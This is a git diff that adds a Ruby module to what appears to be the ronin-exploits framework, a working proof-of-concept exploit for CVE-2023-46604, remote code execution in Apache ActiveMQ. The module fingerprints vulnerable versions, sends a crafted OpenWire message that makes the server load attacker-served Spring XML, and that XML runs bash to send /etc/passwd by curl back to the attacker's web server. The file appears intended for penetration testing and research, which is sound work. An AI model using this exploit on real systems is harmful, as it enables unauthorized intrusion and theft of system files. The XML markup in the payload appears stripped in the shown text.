diff --git a/Gemfile b/Gemfile index 54147ce..6de59e9 100644 --- a/Gemfile +++ b/Gemfile @@ -1,11 +1,13 @@ source 'https://rubygems.org' -gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', - branch: '0.2.0' -gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads', - branch: '0.2.0' -gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits', - branch: '1.1.0' +gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', + branch: '0.2.0' +gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads', + branch: '0.2.0' +gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits', + branch: '1.1.0' +gem 'ronin-web-server', '~> 0.1.1', github: 'ronin-rb/ronin-web-server', + ref: "v0.1.1" group :development do gem 'rubocop', require: false, platform: :mri diff --git a/exploits/activemq/CVE-2023-46604.rb b/exploits/activemq/CVE-2023-46604.rb new file mode 100755 index 0000000..8fa9948 --- /dev/null +++ b/exploits/activemq/CVE-2023-46604.rb @@ -0,0 +1,224 @@ +#!/usr/bin/env -S ronin-exploits run -f + +require "ronin/exploits/exploit" +require "ronin/exploits/mixins/remote_tcp" +require "ronin/support/binary/stream" +require "ronin/web/server" + +module Ronin + module Exploits + # + # This exploit is based on an examination the following prior art: + # + # - https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604 + # - https://github.com/Mudoleto/Broker_ApacheMQ + # - https://github.com/dcm2406/CVE-2023-46604 + # - https://github.com/mrpentst/CVE-2023-46604 + # + # The exploit has two steps: + # + # 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect + # to a URL that may contain a malicious XML payload + # 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands + # + # + # == Verification + # + # To verify against a vulnerable docker image: + # + # docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2 + # exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 + # + # against a not-vulnerable docker image: + # + # docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3 + # exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 + # + # You can read more about that docker container at https://github.com/veita/cont-test-activemq + # + # + # == Implementation details + # + # For details on OpenWire wire format see: + # + # - https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification + # - https://github.com/apache/activemq-openwire + # + class CVE_2023_46604 < Exploit + + include Mixins::RemoteTCP + + register "activemq/CVE-2023-46604" + + quality :poc + release_date "2024-05-03" + disclosure_date "2023-10-27" + advisory "CVE-2023-46604" + + author "Mike Dalessio", email: "mike.dalessio@gmail.com" + summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3" + description <<~DESC + The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This + vulnerability may allow a remote attacker with network access to either a Java-based + OpenWire broker or client to run arbitrary shell commands by manipulating serialized class + types in the OpenWire protocol to cause either the client or the broker (respectively) to + instantiate any class on the classpath. Users are recommended to upgrade both brokers and + clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue. + DESC + references [ + "https://nvd.nist.gov/vuln/detail/CVE-2023-46604", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml", + "https://github.com/dcm2406/CVE-2023-46604", + "https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py", + "https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml", + "https://github.com/mrpentst/CVE-2023-46604", + "https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py", + "https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml", + ] + + # + # Test whether the target system is vulnerable. + # + def test + wireformat_message = nil + tcp_connect do |socket| + socket.close_write + wireformat_message = socket.read + end + + version = pluck_provider_version(wireformat_message) + return Unknown("host is not reporting a provider version") if version.nil? + print_info("Detected provider version: #{version}") + + version = Gem::Version.new(version) + if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) || + (version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) || + (version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) || + (version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0")) + return Vulnerable("host is vulnerable to CVE-2023-46604") + else + return NotVulnerable("host is not vulnerable to CVE-2023-46604") + end + end + + default_port 61616 + param :web_host, default: "localhost", + desc: "A routable hostname for the exploit runner's web server" + param :web_port, Integer, default: 1024 + rand(65535 - 1024), + desc: "A listen port for the exploit runner's web server" + + JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext" + PROVIDER_VERSION = "ProviderVersion" + STRING_TYPE = 9 + + def build + @web_host = params[:web_host] + @web_port = params[:web_port] + web_url = "http://#{@web_host}:#{@web_port}" + + buffer = Ronin::Support::Binary::Buffer.new(1024) + buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE + .put_uint8(14, 0x01) + cursor = 15 + buffer.put_uint8(cursor, 0x01) + .put(:uint16_be, cursor+1, JAVA_CLASSNAME.length) + .put_string(cursor+3, JAVA_CLASSNAME) + cursor += 3 + JAVA_CLASSNAME.length + buffer.put_uint8(cursor, 0x01) + .put(:uint16_be, cursor+1, web_url.length) + .put_string(cursor+3, web_url) + cursor += 3 + web_url.length + buffer.put(:uint32_be, 0, cursor-4) + @payload1 = buffer.to_s[0..cursor-1] + + @payload2 = <<~XML + + + + + + bash + -c + cat /etc/passwd | curl --data-binary @- #{web_url}/exfil + + + + + XML + end + + def launch + queue = Thread::Queue.new + runner = self + injection = @payload2 + + @server_thread = Ronin::Web.server do + set :bind, runner.params[:web_host] + set :port, runner.params[:web_port] + + get("/") do + runner.print_info "Received HTTP request" + queue.push(:get) + injection + end + + post("/exfil") do + runner.print_info "Received RCE exfiltration:\n" + request.body.read + queue.push(:exfil) + "" + end + + on_start do + queue.push(:start) + end + + on_stop do + queue.push(:stop) + end + end + queue.pop # :start + + print_info "Sending OpenWire payload:" + @payload1.hexdump + + tcp_send(@payload1) + + return if queue.pop == :stop # :get + return if queue.pop == :stop # :get + queue.pop # :exfil + end + + def cleanup + @server_thread&.stop! + end + + private + + # we're taking the easy way out by not parsing the whole message, just finding the + # "ProviderVersion" property and pulling it out of the message. + def pluck_provider_version(message) + print_info "Extracting provider version from OpenWire WIREFORMAT message:" + message.hexdump + + property_index = message.index(PROVIDER_VERSION) + return nil if property_index.nil? + + stream = Ronin::Support::Binary::Stream.new( + StringIO.new(message[(property_index + PROVIDER_VERSION.length)..]) + ) + + ptype = stream.read_byte + raise ExploitFailed, "unknown primitive type #{ptype}, expected #{STRING_TYPE}" if ptype != STRING_TYPE + + plen = stream.read_value(:int16_be) + raise ExploitFailed, "unexpected string len #{plen}" if plen <= 0 + + stream.read_string(plen) + end + end + end +end